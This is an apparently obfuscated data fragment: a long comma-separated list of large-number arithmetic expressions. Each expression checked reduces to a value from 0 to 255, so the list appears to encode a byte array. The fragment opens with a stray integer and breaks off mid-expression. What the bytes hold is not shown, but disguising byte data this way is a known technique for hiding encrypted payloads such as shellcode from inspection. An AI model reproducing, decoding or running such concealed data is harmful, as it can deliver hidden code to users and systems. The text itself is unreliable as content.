25436583137583163528, 2008448948437323180404 - 2008448948437323180162, (11112774034048315308 + 108724) // 2 - 5556387017024157654 - 54208, (8087827181643726176 + 94320) // 2 - 4043913590821863088 - 46980, (11704757401605605560 + 121270) // 2 - 5852378700802802780 - 60454, (15654606498454288432 + 200646) // 2 - 7827303249227144216 - 100110, (867174875705454334 + 102600) // 2 - 433587437852727167 - 51120, (10417502989473932442 + 78624) // 2 - 5208751494736966221 - 39104, (9054561954508691258 + 68688) // 2 - 4527280977254345629 - 34238, 189719341643935898548 - 189719341643935898496, 461506407553780726661 - 461506407553780726510, 681233525063490238936 - 681233525063490238814, (4451944752420788494 + 12070) // 2 - 2225972376210394247 - 5964, (4030089832581404484 + 68432) // 2 - 2015044916290702242 - 34034, 199707616895007814031 - 199707616895007813978, (7593059846735622094 + 6240) // 2 - 3796529923367811047 - 3108, 81290191151247431880 - 81290191151247431820, (4547248323825747264 + 69120) // 2 - 2273624161912873632 - 34425, (15706541354687706010 + 177120) // 2 - 7853270677343853005 - 88355, (753105852387728726 + 231800) // 2 - 376552926193864363 - 115656, 75997238640349361775 - 75997238640349361764, 729536145126244727460 - 729536145126244727376, (12764600134636765896 + 27864) // 2 - 6382300067318382948 - 13803, 385796553824485156902 - 385796553824485156799, 895288475810679117600 - 895288475810679117500, (15333550537412815642 + 34344) // 2 - 7666775268706407821 - 17118, (2026601871587099846 + 34028) // 2 - 1013300935793549923 - 16833, 244159015804565041630 - 244159015804565041545, (3448173518030916756 + 29040) // 2 - 1724086759015458378 - 14399, (15744901853481487108 + 119560) // 2 - 7872450926740743554 - 59640, 938760313287901691662 - 938760313287901691520, 1019813279908322409574 - 1019813279908322409348, 129938461025649601920 - 129938461025649601882, 1879510060690766728232 - 1879510060690766727984, 499752117647786458584 - 499752117647786458461, (6256394964570496760 + 148656) // 2 - 3128197482285248380 - 74176, (15857702845121729498 + 67938) // 2 - 7928851422560864749 - 33768, (8652979659659553156 + 116736) // 2 - 4326489829829776578 - 58140, (15421948403520973004 + 108506) // 2 - 7710974201760486502 - 54026, 1057094812790572094129 - 1057094812790572093938, (16222616653433489490 + 73152) // 2 - 8111308326716744745 - 36480, (14652672281537606620 + 20874) // 2 - 7326336140768803310 - 10416, 1303520521569920786700 - 1303520521569920786496, (4689596325673901942 + 93568) // 2 - 2344798162836950971 - 46612, 53978627197171158528 - 53978627197171158522, 302345524703234177856 - 302345524703234177792, (11972614104303935576 + 2170) // 2 - 5986307052151967788 - 1080, (18297403890478583450 + 28718) // 2 - 9148701945239291725 - 14276, 189146390381198171684 - 189146390381198171562, (5384779290843666400 + 84196) // 2 - 2692389645421833200 - 41881, 299578023833038455268 - 299578023833038455110, (5998385530041973126 + 10296) // 2 - 2999192765020986563 - 5122, 27639843634015915925 - 27639843634015915918, 7281930307586759076 - 7281930307586759048, 8928240299624026488 - 8928240299624026480, (9700087696737645772 + 80964) // 2 - 4850043848368822886 - 40248, (11901609868692261446 + 100620) // 2 - 5950804934346130723 - 50193, 469524071387076875796 - 469524071387076875543, 102142101107194775550 - 102142101107194775520, 772504984403507527332 - 772504984403507527218, 79818845554310766640 - 79818845554310766530, (2880062199455797132 + 41652) // 2 - 1440031099727898566 - 20737, (10371896271401565412 + 100640) // 2 - 5185948135700782706 - 50150, (6099888426802532176 + 20698) // 2 - 3049944213401266088 - 10218, 34354755598166228748 - 34354755598166228729, (15974578984875367002 + 56088) // 2 - 7987289492437683501 - 27816, (10159018782898654136 + 210320) // 2 - 5079509391449327068 - 104921, 126934256080089651424 - 126934256080089651348, 165125315219564064768 - 165125315219564064694, (14877400709176353040 + 68742) // 2 - 7438700354588176520 - 34170, (6396238475681852544 + 15960) // 2 - 3198119237840926272 - 7960, 817584617273621405216 - 817584617273621405074, (15342915866361124898 + 92000) // 2 - 7671457933180562449 - 45875, 491386124509652922291 - 491386124509652922152, 449565738802183686192 - 449565738802183686019, (13121139216683963718 + 54782) // 2 - 6560569608341981859 - 27300, 320807311519339197140 - 320807311519339197105, (11850026901906368494 + 111220) // 2 - 5925013450953184247 - 55444, (10709571199466487290 + 55970) // 2 - 5354785599733243645 - 27840, 143208607195124579409 - 143208607195124579392, 1042977771264172997996 - 1042977771264172997850, (6184615608444538436 + 27900) // 2 - 3092307804222269218 - 13920, 671183780058375414480 - 671183780058375414246, (4855454605998803680 + 29400) // 2 - 2427727302999401840 - 14650, (10187243710823957960 + 21500) // 2 - 5093621855411978980 - 10535, 31724386812792988440 - 31724386812792988320, 17881057984916015392 - 17881057984916015358, (12344220115673016880 + 77128) // 2 - 6172110057836508440 - 38440, (10448478737107669828 + 8800) // 2 - 5224239368553834914 - 4389, (13718061292173905154 + 21216) // 2 - 6859030646086952577 - 10530, 590727118504573638846 - 590727118504573638684, 113932555814786129542 - 113932555814786129520, (18142787419175643716 + 28320) // 2 - 9071393709587821858 - 14080, 758014907895661915533 - 758014907895661915440, 538805723324677475450 - 538805723324677475352, 208544525138975778515 - 208544525138975778480, (5685372411578110822 + 27132) // 2 - 2842686205789055411 - 13433, (11074912571209311586 + 40172) // 2 - 5537456285604655793 - 19920, (10730174464318428346 + 91962) // 2 - 5365087232159214173 - 45864, (10951260680144307640 + 17400) // 2 - 5475630340072153820 - 8600, (5712240393104140890 + 9600) // 2 - 2856120196552070445 - 4775, 424278646292119113172 - 424278646292119112973, (2503017099395562978 + 118490) // 2 - 1251508549697781489 - 59040, (13922402517027888958 + 169222) // 2 - 6961201258513944479 - 84400, 155796072252559690212 - 155796072252559690150, (18158039945814411434 + 28680) // 2 - 9079019972907205717 - 14280, (10281406255053958616 + 65508) // 2 - 5140703127526979308 - 32595, (7269092498273548252 + 100570) // 2 - 3634546249136774126 - 50172, (13423063299233275730 + 42048) // 2 - 6711531649616637865 - 20878, (15427697759309110718 + 38728) // 2 - 7713848879654555359 - 19158, 703698191830430327502 - 703698191830430327269, (13117992399666788396 + 3120) // 2 - 6558996199833394198 - 1550, (8445875745488620626 + 77400) // 2 - 4222937872744310313 - 38600, (1481098397078316444 + 187726) // 2 - 740549198539158222 - 93610, (8244951990538618850 + 53760) // 2 - 4122475995269309425 - 26775, (8567649040944061900 + 50464) // 2 - 4283824520472030950 - 25066, (17339871917544210782 + 193848) // 2 - 8669935958772105391 - 96678, (16617362204079514956 + 153576) // 2 - 8308681102039757478 - 76630, 917632233099494031795 - 917632233099494031574, 725176699814438365340 - 725176699814438365230, (1406352051049463534 + 37620) // 2 - 703176025524731767 - 18765, (10904102456773681808 + 62208) // 2 - 5452051228386840904 - 30960, 566361951798910359376 - 566361951798910359137, (4333571901055251118 + 17952) // 2 - 2166785950527625559 - 8952, 444864822432148832592 - 444864822432148832418, (2489253855708741004 + 125584) // 2 - 1244626927854370502 - 62604, 555146670991605316 - 555146670991605315, 353506641979145490810 - 353506641979145490720, (4124748962755289986 + 35970) // 2 - 2062374481377644993 - 17876, (4429592063119113224 + 103936) // 2 - 2214796031559556612 - 51852, 732541210382004191460 - 732541210382004191305, 138983468454516329600 - 138983468454516329556, 1077907513617100331211 - 1077907513617100331084, (11747626694352767430 + 25578) // 2 - 5873813347176383715 - 12726, 8987666120570038462 - 8987666120570038460, (16766014354694881782 + 189662) // 2 - 8383007177347440891 - 94598, (7755262231232377118 + 3234) // 2 - 3877631115616188559 - 1610, (17755508212866999532 + 57892) // 2 - 8877754106433499766 - 28864, (14735953554791161882 + 82806) // 2 - 7367976777395580941 - 41292, (16683518178942437428 + 66006) // 2 - 8341759089471218714 - 32810, 40639000407630561610 - 40639000407630561600, 0 - 0, (14666684930950156228 + 20526) // 2 - 7333342465475078114 - 10230, (5216528084156616162 + 70356) // 2 - 2608264042078308081 - 35055, (1622314565384825626 + 6888) // 2 - 811157282692412813 - 3416, 188170462495109561040 - 188170462495109560959, (1542863048642935922 + 18532) // 2 - 771431524321467961 - 9153, 340571269144278593769 - 340571269144278593620, (5111321561686661326 + 1826) // 2 - 2555660780843330663 - 902, 188354175893137617780 - 188354175893137617638, 314881313468712311476 - 314881313468712311265, (6513970208195286312 + 16536) // 2 - 3256985104097643156 - 8242, (12324996681130951450 + 129970) // 2 - 6162498340565475725 - 64780, 1946730727421025378120 - 1946730727421025377892, (9153440922351686114 + 35880) // 2 - 4576720461175843057 - 17710, (5823556754966306674 + 13312) // 2 - 2911778377483153337 - 6528, (11014839788303741424 + 95930) // 2 - 5507419894151870712 - 47784, (5475622806452726098 + 169740) // 2 - 2737811403226363049 - 84663, 317767748285960716908 - 317767748285960716680, (12902162245379829616 + 127600) // 2 - 6451081122689914808 - 63568, 175953306675559908170 - 175953306675559908105, 470481607867897934217 - 470481607867897934100, 1616601715857969447750 - 1616601715857969447555, 60797075338314683130 - 60797075338314683025, 122099839052694778372 - 122099839052694778326, 1512262110446821850217 - 1512262110446821850024, (12590327991630552238 + 16800) // 2 - 6295163995815276119 - 8320, 487766087673334512012 - 487766087673334511943, 824051637166622769255 - 824051637166622769020, 658020253842316901613 - 658020253842316901382, (2637807259704913680 + 160380) // 2 - 1318903629852456840 - 80028, (4203561328509200042 + 15640) // 2 - 2101780664254600021 - 7735, 4482238614118158880 - 4482238614118158740, 396046758265089418344 - 396046758265089418132, (11771271271455045664 + 62178) // 2 - 5885635635727522832 - 30960, (11570723151816564568 + 35100) // 2 - 5785361575908282284 - 17505, (13172471696839040508 + 123966) // 2 - 6586235848419520254 - 61770, 548254682523224079452 - 548254682523224079301, (5274131553596305396 + 34848) // 2 - 2637065776798152698 - 17182, 203025540610070232603 - 203025540610070232500, (12839152314554876750 + 189600) // 2 - 6419576157277438375 - 94600, 87619017381383137860 - 87619017381383137800, 174941827823770435835 - 174941827823770435780, 687003704724688526872 - 687003704724688526700, (6020721078448717082 + 66144) // 2 - 3010360539224358541 - 32860, 2776959843706451960 - 2776959843706451955, 17423929033064751212 - 17423929033064751210, 910756271172010592907 - 910756271172010592768, 1192272698695983570252 - 1192272698695983570111, 589692209638915011634 - 589692209638915011531, (15343196712292531418 + 53040) // 2 - 7671598356146265709 - 26455, 569056570355280826500 - 569056570355280826425, (1113496827655238750 + 63600) // 2 - 556748413827619375 - 31694, 1422171076123659334360 - 1422171076123659334175, 995084925163287408000 - 995084925163287407892, 173195830504711443328 - 173195830504711443200, 331585006298516395551 - 331585006298516395488, 175597019172274348649 - 175597019172274348506, 655696554297269202060 - 655696554297269201857, 1075848854940709078165 - 1075848854940709077914, (13111742777999759846 + 42340) // 2 - 6555871388999879923 - 21025, (7153438697757153930 + 3206) // 2 - 3576719348878576965 - 1596, 413329110807161175423 - 413329110807161175356, 620389633510126988870 - 620389633510126988644, (261285731592131628 + 456) // 2 - 130642865796065814 - 227, 1074331230514851687532 - 1074331230514851687341, 1103226012273731605824 - 1103226012273731605632, (8120530914384327542 + 130800) // 2 - 4060265457192163771 - 65182, (8389646315785384376 + 50220) // 2 - 4194823157892692188 - 25056, (17528536480232795638 + 20832) // 2 - 8764268240116397819 - 10385, 188334257020575883888 - 188334257020575883740, 586354862581875185220 - 586354862581875185130, 6011608139735516378 - 6011608139735516376, (6749095545801460108 + 82904) // 2 - 3374547772900730054 - 41366, 1127539634892082768020 - 1127539634892082767880, 179332430158988927545 - 179332430158988927310, 795092689248092051318 - 795092689248092051139, (13268376891692806790 + 27072) // 2 - 6634188445846403395 - 13464, 394012166727135474420 - 394012166727135474210, 491527897599346827678 - 491527897599346827621, 408920822429186031975 - 408920822429186031720, (11427078546462320372 + 76930) // 2 - 5713539273231160186 - 38308, 617538733642245694188 - 617538733642245694097, 155004957858021457160 - 155004957858021457108, (17236713215740704498 + 52800) // 2 - 8618356607870352249 - 26304, 185097751033448916150 - 185097751033448916021, (13598574565573734446 + 18260) // 2 - 6799287282786867223 - 9047, 305669423971339221318 - 305669423971339221236, (14856178548378944674 + 7676) // 2 - 7428089274189472337 - 3800, 134626263871700449800 - 134626263871700449764, (12910515175735987224 + 99308) // 2 - 6455257587867993612 - 49532, 730211530256578141634 - 730211530256578141435, 383224737595041490650 - 383224737595041490600, 347008688686166018985 - 347008688686166018930, (12338045128600271468 + 220704) // 2 - 6169022564300135734 - 110124, (18049527234947480370 + 128790) // 2 - 9024763617473740185 - 64260, 139154844226267939032 - 139154844226267938960, 132103651032451098351 - 132103651032451098234, (5118651269130119356 + 21660) // 2 - 2559325634565059678 - 10792, 457308770702956693628 - 457308770702956693437, (11174200613475920600 + 90200) // 2 - 5587100306737960300 - 44880, 1726955353557256589670 - 1726955353557256589448, (18366548211229088296 + 108864) // 2 - 9183274105614544148 - 54216, (4538967061590431692 + 101816) // 2 - 2269483530795215846 - 50765, 925092471117714242083 - 925092471117714241914, (957412014024779340 + 45220) // 2 - 478706007012389670 - 22420, (9096410825326279724 + 168336) // 2 - 4548205412663139862 - 83916, (2835575921061032248 + 47144) // 2 - 1417787960530516124 - 23489, 1756954242509514410062 - 1756954242509514409863, (3125202823885422046 + 2200) // 2 - 1562601411942711023 - 1080, 81429331049975437386 - 81429331049975437353, 1178456203190350878500 - 1178456203190350878339, (3317940823458974648 + 33284) // 2 - 1658970411729487324 - 16589, (16233213796534715494 + 11662) // 2 - 8116606898267357747 - 5782, (1323095543876054540 + 186550) // 2 - 661547771938027270 - 93070, 1631898980458117545960 - 1631898980458117545717, 203640542048295866510 - 203640542048295866467, (6050923102788726846 + 39936) // 2 - 3025461551394363423 - 19760, 1893423033404047630082 - 1893423033404047629861, 145337006021308664948 - 145337006021308664926, 1081762075269921123448 - 1081762075269921123255, 871559884722749981552 - 871559884722749981418, 359498637038809239123 - 359498637038809239034, 822364586743040967769 - 822364586743040967648, 1528488721484277043033 - 1528488721484277042800, (2348903854523639138 + 135682) // 2 - 1174451927261819569 - 67662, 732225201250492212704 - 732225201250492212582, 10933387512336742176 - 10933387512336742167, 577838302975401249436 - 577838302975401249363, (3065188664038158630 + 19140) // 2 - 1532594332019079315 - 9548, 30749277356044261973 - 30749277356044261966, (16696677934508167294 + 50490) // 2 - 8348338967254083647 - 24990, (9450962271515423368 + 4578) // 2 - 4725481135757711684 - 2268, (212679270401999402 + 80696) // 2 - 106339635200999701 - 40194, 198901628516495303816 - 198901628516495303680, (17112248631394268492 + 114294) // 2 - 8556124315697134246 - 57018, 162996229963014705951 - 162996229963014705894, 690695879653464456026 - 690695879653464455859, (12264495634282141468 + 53792) // 2 - 6132247817141070734 - 26732, (15114598922573796884 + 49590) // 2 - 7557299461286898442 - 24738, (5131130572309918304 + 39520) // 2 - 2565565286154959152 - 19513, (4764695477234332414 + 38720) // 2 - 2382347738617166207 - 19272, 134008455663942034800 - 134008455663942034750, (14201961149766363410 + 14238) // 2 - 7100980574883181705 - 7056, (5906401723732785260 + 20928) // 2 - 2953200861866392630 - 10368, 1275050067478994296076 - 1275050067478994295925, (1176146854744864370 + 92880) // 2 - 588073427372432185 - 46320, 193098543806029315989 - 193098543806029315858, 1839800705783328188124 - 1839800705783328187912, 927774879749342012388 - 927774879749342012234, (9502956353878098890 + 51150) // 2 - 4751478176939049445 - 25500, 1190858732706243266928 - 1190858732706243266784, (16803403756235986920 + 48336) // 2 - 8401701878117993460 - 24115, 5242768069649512700 - 5242768069649512699, (15039818740274682710 + 75946) // 2 - 7519909370137341355 - 37846, (13165600996844468970 + 111720) // 2 - 6582800498422234485 - 55650, 1764523943282453964093 - 1764523943282453963856, (13300578632495767348 + 7920) // 2 - 6650289316247883674 - 3948, (9266627561733207962 + 24120) // 2 - 4633313780866603981 - 11970, (524023088513301328 + 214344) // 2 - 262011544256650664 - 106938, 381227561544002730635 - 381227561544002730454, 78841496732441763078 - 78841496732441763056, 798314323005209008600 - 798314323005209008400, (10209570275054180520 + 192614) // 2 - 5104785137527090260 - 96114, (3837771846625256944 + 68680) // 2 - 1918885923312628472 - 34170, (3402034652936336302 + 24644) // 2 - 1701017326468168151 - 12200, (7538163359557841276 + 116586) // 2 - 3769081679778920638 - 58140, 374810792467225764620 - 374810792467225764415, (8343088197696344274 + 66990) // 2 - 4171544098848172137 - 33418, 353542021017952093440 - 353542021017952093312, 735614778095339130846 - 735614778095339130612, (1706768774745789488 + 57500) // 2 - 853384387372894744 - 28520, 877630211672218548593 - 877630211672218548430, (970396546377608576 + 22310) // 2 - 485198273188804288 - 11040, 272545291697157491220 - 272545291697157491103, (17881961348186436838 + 165550) // 2 - 8940980674093218419 - 82600, 90581940826239929678 - 90581940826239929565, 1616215916024258407110 - 1616215916024258406900, (6197077451064476950 + 170) // 2 - 3098538725532238475 - 84, (3354634334238435236 + 49082) // 2 - 1677317167119217618 - 24444, 957239016787826133688 - 957239016787826133582, (7767182094215977598 + 97216) // 2 - 3883591047107988799 - 48384, (12230228727308767268 + 64408) // 2 - 6115114363654383634 - 32121, 411221165850258071920 - 411221165850258071798, 7487148565060280004 - 7487148565060279983, (134448519502419240 + 22374) // 2 - 67224259751209620 - 11154, 699216426995819415808 - 699216426995819415680, (15302909460108146780 + 159642) // 2 - 7651454730054073390 - 79640, 747922558054897796000 - 747922558054897795900, (3679742575110911466 + 109836) // 2 - 1839871287555455733 - 54805, (3834331485850368430 + 166260) // 2 - 1917165742925184215 - 82960, (11778234545158259620 + 56616) // 2 - 5889117272579129810 - 28224, 0 - 0, (439232869261757722 + 185796) // 2 - 219616434630878861 - 92664, (7884077698561027148 + 24150) // 2 - 3942038849280513574 - 12040, (17372275424835080956 + 108560) // 2 - 8686137712417540478 - 54050, 986891516767777807738 - 986891516767777807616, 1008461197896622360290 - 1008461197896622360155, 159773350819295532676 - 159773350819295532440, 1057628180114526656696 - 1057628180114526656508, (13040504131060342670 + 36384) // 2 - 6520252065530171335 - 18144, (12661138536764101350 + 191232) // 2 - 6330569268382050675 - 95424, 371397244706286078240 - 371397244706286078024, 1312995322761784005190 - 1312995322761784005036, (4221942261870161756 + 148188) // 2 - 2110971130935080878 - 73861, (9787171983236127312 + 38226) // 2 - 4893585991618063656 - 19044, (9274379262573186322 + 24576) // 2 - 4637189631286593161 - 12192, (10714183559795490992 + 92886) // 2 - 5357091779897745496 - 46330, (14000100070536376532 + 87084) // 2 - 7000050035268188266 - 43296, 153325672007908267427 - 153325672007908267378, 109545999695365693977 - 109545999695365693878, (8145879910857573720 + 144480) // 2 - 4072939955428786860 - 72030, (16069320240441292932 + 71400) // 2 - 8034660120220646466 - 35581, 173847862194521595120 - 173847862194521594880, (7634725440280298364 + 20944) // 2 - 3817362720140149182 - 10395, (829422208875972920 + 221298) // 2 - 414711104437986460 - 110418, (7029283183729068046 + 113498) // 2 - 3514641591864534023 - 56628, 99497813143887493398 - 99497813143887493380, 1077169766135127838992 - 1077169766135127838875, 5886847226994269396 - 5886847226994269235, 78466287444149254822 - 78466287444149254740, 1814232566857923886212 - 1814232566857923885960, 1814341700439015771897 - 1814341700439015771690, 15168949292430048524 - 15168949292430048520, 1558647125846482998144 - 1558647125846482997952, (8456282949199074546 + 30804) // 2 - 4228141474599537273 - 15351, 6287071391595462416 - 6287071391595462408, (4811600764153422000 + 109740) // 2 - 2405800382076711000 - 54715, (15123594388545657562 + 177606) // 2 - 7561797194272828781 - 88596, 374618944907741195688 - 374618944907741195617, 417358196039537268850 - 417358196039537268768, 900426033493551259812 - 900426033493551259656, (5611875062332695464 + 62016) // 2 - 2805937531166347732 - 30804, (18437384807893293284 + 194324) // 2 - 9218692403946646642 - 96960, 108214070566660396114 - 108214070566660396095, (14940710463673635430 + 11900) // 2 - 7470355231836817715 - 5936, 460595691900902475000 - 460595691900902474900, 577178281587822274619 - 577178281587822274462, 1849447892537512960 - 1849447892537512952, (10004704107531381516 + 21344) // 2 - 5002352053765690758 - 10488, 1667042724705104180800 - 1667042724705104180600, (11476956975319058428 + 251496) // 2 - 5738478487659529214 - 125496, (9731120101472705028 + 38940) // 2 - 4865560050736352514 - 19415, 529978786951941013778 - 529978786951941013596, 99210070377106392350 - 99210070377106392325, (1769935087672912130 + 28658) // 2 - 884967543836456065 - 14240, (16367054965014664382 + 25092) // 2 - 8183527482507332191 - 12464, (16717526470708151560 + 146010) // 2 - 8358763235354075780 - 72848, (3153550158570329744 + 3720) // 2 - 1576775079285164872 - 1850, 137758514924213622270 - 137758514924213622240, 1657984929984390018420 - 1657984929984390018240, 136799027178652442720 - 136799027178652442640, (1765753460415599460 + 68242) // 2 - 882876730207799730 - 33972, (3938476909495597922 + 32750) // 2 - 1969238454747798961 - 16250, (17614300112974062068 + 36188) // 2 - 8807150056487031034 - 18011, 516827840449063990059 - 516827840449063989822, (2817083146033151274 + 90628) // 2 - 1408541573016575637 - 45175, (3353990700993976356 + 82880) // 2 - 1676995350496988178 - 41216, (8334403952130166820 + 57028) // 2 - 4167201976065083410 - 28408, (4343848675806808970 + 26182) // 2 - 2171924337903404485 - 12844, (1476754180727071820 + 19560) // 2 - 738377090363535910 - 9750, (14089676642079679660 + 120384) // 2 - 7044838321039839830 - 60021, 688890426233081855034 - 688890426233081854936, (8154139129746484330 + 62118) // 2 - 4077069564873242165 - 30972, 44535750622920338604 - 44535750622920338598, (7347760529585076726 + 138462) // 2 - 3673880264792538363 - 69090, 21321448165669117416 - 21321448165669117392, 52714965805447337050 - 52714965805447337040, 542748447076591940000 - 542748447076591939840, 486151052498891662664 - 486151052498891662516, (613174706051588690 + 85184) // 2 - 306587353025794345 - 42471, (2925491393917163940 + 121390) // 2 - 1462745696958581970 - 60496, (8748959980438031290 + 142272) // 2 - 4374479990219015645 - 70980, 163966086949388798052 - 163966086949388797854, 764421745636493486028 - 764421745636493485862, 15095005650207526110 - 15095005650207526008, 284219206745582373413 - 284219206745582373346, (13585223338585617924 + 111136) // 2 - 6792611669292808962 - 55417, (11663823353089094350 + 118544) // 2 - 5831911676544547175 - 59033, 32623077784928971692 - 32623077784928971560, (4637952639113439826 + 159840) // 2 - 2318976319556719913 - 79735, 322453918431350227104 - 322453918431350227038, 32211482877773677086 - 32211482877773677080, (655441920003490556 + 11232) // 2 - 327720960001745278 - 5568, (225079537341986250 + 75802) // 2 - 112539768670993125 - 37750, (13164523121750870286 + 108560) // 2 - 6582261560875435143 - 54165, (6242098616901189650 + 20706) // 2 - 3121049308450594825 - 10302, 236377576926579929680 - 236377576926579929600, 276972023762526551184 - 276972023762526551151, (14771318875282200640 + 22350) // 2 - 7385659437641100320 - 11100, (12096511737549533808 + 41820) // 2 - 6048255868774766904 - 20828, (1111684176096461740 + 202184) // 2 - 555842088048230870 - 100838, (5616187274415296990 + 59004) // 2 - 2808093637207648495 - 29353, (14933575477437965632 + 25802) // 2 - 7466787738718982816 - 12768, (12925316699566770676 + 164880) // 2 - 6462658349783385338 - 82260, (9777413749659296264 + 101992) // 2 - 4888706874829648132 - 50787, (162160599717148462 + 890) // 2 - 81080299858574231 - 440, 1354471787571963160369 - 1354471787571963160188, (6818926671154412018 + 60000) // 2 - 3409463335577206009 - 29940, (10895495024570602904 + 136904) // 2 - 5447747512285301452 - 68234, (6822676055495860150 + 26296) // 2 - 3411338027747930075 - 13110, 846355770322208649912 - 846355770322208649724, (15094971017423553976 + 186504) // 2 - 7547485508711776988 - 93024, 237526886522104481323 - 237526886522104481162, 404439953548585160349 - 404439953548585160096, (4431401186770373904 + 122500) // 2 - 2215700593385186952 - 61005, 14644192741614984884 - 14644192741614984681, 983639674689980681440 - 983639674689980681208, 467525291249899712816 - 467525291249899712713, (12179451242809718256 + 47120) // 2 - 6089725621404859128 - 23408, 74042083281443672268 - 74042083281443672214, (8589469951124492390 + 46886) // 2 - 4294734975562246195 - 23324, (1795212695347105912 + 852) // 2 - 897606347673552956 - 420, 8952444951226836080 - 8952444951226835961, 1465605690526679371560 - 1465605690526679371340, (6407511200575950640 + 81532) // 2 - 3203755600287975320 - 40548, (10375898629716225782 + 20448) // 2 - 5187949314858112891 - 10176, 1367428190480551955050 - 1367428190480551954884, (691470499654133048 + 63054) // 2 - 345735249827066524 - 31414, 120657075045137296983 - 120657075045137296890, (10378204225600551016 + 3032) // 2 - 5189102112800275508 - 1512, (18318438022051130182 + 87236) // 2 - 9159219011025565091 - 43505, (3910017231804476110 + 59048) // 2 - 1955008615902238055 - 29402, (12427406542559516178 + 121044) // 2 - 6213703271279758089 - 60391, 401566869172165622651 - 401566869172165622562, 932555364352784976744 - 932555364352784976591, (8467971246870848148 + 137982) // 2 - 4233985623435424074 - 68808, 557788207457457615834 - 557788207457457615600, (13877756517577393346 + 6996) // 2 - 6938878258788696673 - 3476, 1568181233826072104784 - 1568181233826072104601, 640625428222898691600 - 640625428222898691519, (70302869312819044 + 61664) // 2 - 35151434656409522 - 30750, 1032771190404808682535 - 1032771190404808682368, 1370253690305069706571 - 1370253690305069706398, 701371293865182820859 - 701371293865182820726, (5620678063822086872 + 68672) // 2 - 2810339031911043436 - 34220, (2255593199449305390 + 122292) // 2 - 1127796599724652695 - 61017, (13436061841015767072 + 128856) // 2 - 6718030920507883536 - 64251, (6987102876881787470 + 147030) // 2 - 3493551438440893735 - 73346, 437412459266668172070 - 437412459266668171965, (7023237756797405542 + 19832) // 2 - 3511618878398702771 - 9842, 458919210584348024368 - 458919210584348024160, (2644810205991742956 + 81270) // 2 - 1322405102995871478 - 40530, (13478845671496196706 + 21924) // 2 - 6739422835748098353 - 10908, 239623682820498918668 - 239623682820498918526, 216823484367538846074 - 216823484367538846020, (13985305286684061568 + 67876) // 2 - 6992652643342030784 - 33796, (10847012817128394010 + 6336) // 2 - 5423506408564197005 - 3156, (12908013649162778330 + 10560) // 2 - 6454006824581389165 - 5232, 1398568849932717580398 - 1398568849932717580185, (31275136867199706 + 53924) // 2 - 15637568433599853 - 26741, (872368527766884340 + 53630) // 2 - 436184263883442170 - 26642, 510601159713425634790 - 510601159713425634620, 21080863247979225910 - 21080863247979225905, (12125977010680778956 + 124800) // 2 - 6062988505340389478 - 62192, (9047379159279820330 + 8712) // 2 - 4523689579639910165 - 4334, (14112236303360367444 + 70950) // 2 - 7056118151680183722 - 35400, 57944466376653951776 - 57944466376653951768, (444241875197020924 + 113160) // 2 - 222120937598510462 - 56457, (3128220066028381122 + 82000) // 2 - 1564110033014190561 - 40836, (8633269247065520020 + 48776) // 2 - 4316634623532760010 - 24254, (10516163643091187390 + 194432) // 2 - 5258081821545593695 - 96992, 143601227528534738926 - 143601227528534738780, 235785727293941188075 - 235785727293941188002, (4754946803577360188 + 82004) // 2 - 2377473401788680094 - 40836, (11043894968072825666 + 44352) // 2 - 5521947484036412833 - 21924, (5138324941184560336 + 157396) // 2 - 2569162470592280168 - 78480, (6359540910968142644 + 122400) // 2 - 3179770455484071322 - 61064, (1632295468585220086 + 165432) // 2 - 816147734292610043 - 82472, 652331905009663710923 - 652331905009663710832, (3004092576578335366 + 47256) // 2 - 1502046288289167683 - 23449, (15416402528420342606 + 156456) // 2 - 7708201264210171303 - 77982, 988125836168298807820 - 988125836168298807675, 59298661533262340928 - 59298661533262340904, 41276984579278814061 - 41276984579278813908, (2457199733648211634 + 4664) // 2 - 1228599866824105817 - 2321, 48569445517013833040 - 48569445517013833032, (670440621213738586 + 61500) // 2 - 335220310606869293 - 30625, 16922086594889563275 - 16922086594889563250, 315889316403262190316 - 315889316403262190280, 2242409804486586098250 - 2242409804486586098000, (15662829181477127512 + 44270) // 2 - 7831414590738563756 - 21902, 193381051022656186050 - 193381051022656185915, (1516124827125988166 + 760) // 2 - 758062413562994083 - 375, (11452863809707059102 + 3996) // 2 - 5726431904853529551 - 1992, 323224251470786958260 - 323224251470786958174, (12202614332536516302 + 87420) // 2 - 6101307166268258151 - 43617, 125467309706640099996 - 125467309706640099954, (11223275097790928880 + 12992) // 2 - 5611637548895464440 - 6384, (16953010835629164342 + 11208) // 2 - 8476505417814582171 - 5592, (5894138631888011742 + 120834) // 2 - 2947069315944005871 - 60270, (9530802465720877080 + 7920) // 2 - 4765401232860438540 - 3942, (9906079206062259720 + 33300) // 2 - 4953039603031129860 - 16575, 124050987413329385528 - 124050987413329385514, (18249282048829726398 + 190968) // 2 - 9124641024414863199 - 95265, (16914198588119613786 + 13456) // 2 - 8457099294059806893 - 6699, 56104302987883830064 - 56104302987883829987, 70916717180446489140 - 70916717180446489080, 1026437274447441649175 - 1026437274447441649002, (15463862667096876716 + 7964) // 2 - 7731931333548438358 - 3960, 296270735699362163407 - 296270735699362163354, 344377696571401667622 - 344377696571401667580, 250604822964614510964 - 250604822964614510826, (3074009032544482244 + 52320) // 2 - 1537004516272241122 - 25920, (13851364744796880712 + 17088) // 2 - 6925682372398440356 - 8520, (8877198641326286404 + 26040) // 2 - 4438599320663143202 - 12978, 214767810318165104264 - 214767810318165104112, (3811331027851860408 + 18100) // 2 - 1905665513925930204 - 8869, 214077998574623993852 - 214077998574623993824, 93633383986849461112 - 93633383986849460934, 30667086187113597300 - 30667086187113597254, (14712559032759367206 + 21760) // 2 - 7356279516379683603 - 10840, 557921654098515289680 - 557921654098515289440, 72551192660261798505 - 72551192660261798490, (2960706136911795560 + 17964) // 2 - 1480353068455897780 - 8964, 222780570149847881220 - 222780570149847880985, (13283859083896070992 + 97818) // 2 - 6641929541948035496 - 48772, 0 - 0, 1563190528975330162248 - 1563190528975330162005, 158472528573489141555 - 158472528573489141528, (807880242403497468 + 96234) // 2 - 403940121201748734 - 47988, (10729656762979022632 + 92870) // 2 - 5364828381489511316 - 46184, (16117296019675697730 + 57640) // 2 - 8058648009837848865 - 28689, (4082023015150635810 + 156822) // 2 - 2041011507575317905 - 78234, 1669853811190825320940 - 1669853811190825320720, (15504305479665128768 + 41420) // 2 - 7752152739832564384 - 20601, 94576880408196873960 - 94576880408196873870, 155812237197337586880 - 155812237197337586824, 965397968858055994052 - 965397968858055993936, (10002814058772370398 + 82628) // 2 - 5001407029386185199 - 41132, (6461117942614863420 + 26378) // 2 - 3230558971307431710 - 13068, (15384475425871957910 + 59472) // 2 - 7692237712935978955 